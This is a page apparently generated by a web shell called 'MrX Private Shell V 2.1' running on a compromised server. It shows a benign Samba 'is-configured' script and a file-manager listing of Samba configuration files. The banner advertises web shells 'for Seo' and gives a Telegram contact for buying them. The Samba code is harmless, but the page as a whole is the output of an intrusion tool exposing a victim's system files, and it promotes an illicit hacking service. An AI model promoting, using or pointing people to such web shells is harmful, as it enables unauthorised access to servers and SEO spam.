__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#! /bin/sh
# Check if the given service (smb|nmb|winbind|samba)
# should be run according to the settings in smb.conf
[ -f /etc/samba/smb.conf ] || exit 1
server_role=$(testparm -s --parameter-name="server role" 2>/dev/null)
[ "active directory domain controller" = "$server_role" ] \
&& addc=1 || addc=0
case "$1" in
( smb | smbd )
exit $addc
;;
( winbind | winbindd )
exit $addc
;;
( nmb | nmbd )
[ "$addc" = 1 ] && exit 1
disable_netbios=$(testparm -s --parameter-name="disable netbios" 2>/dev/null)
[ Yes = "$disable_netbios" ] && exit 1 || exit 0
;;
( samba | samba-ad-dc )
# source4/samba/server.c checks for other parameters too, even if !AD-DC
# Should we support these?
exit $((!$addc))
;;
( * )
echo "Wrong usage: should be smb|nmb|winbind|samba" >&2
exit 255
;;
esac
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admx | Folder | 0755 |
|
|
| mdssvc | Folder | 0755 |
|
|
| setup | Folder | 0755 |
|
|
| addshare.py | File | 1.14 KB | 0755 |
|
| is-configured | File | 818 B | 0755 |
|
| panic-action | File | 2.01 KB | 0755 |
|
| setoption.py | File | 1.3 KB | 0755 |
|
| smb.conf | File | 8.4 KB | 0644 |
|
| update-apparmor-samba-profile | File | 2.62 KB | 0755 |
|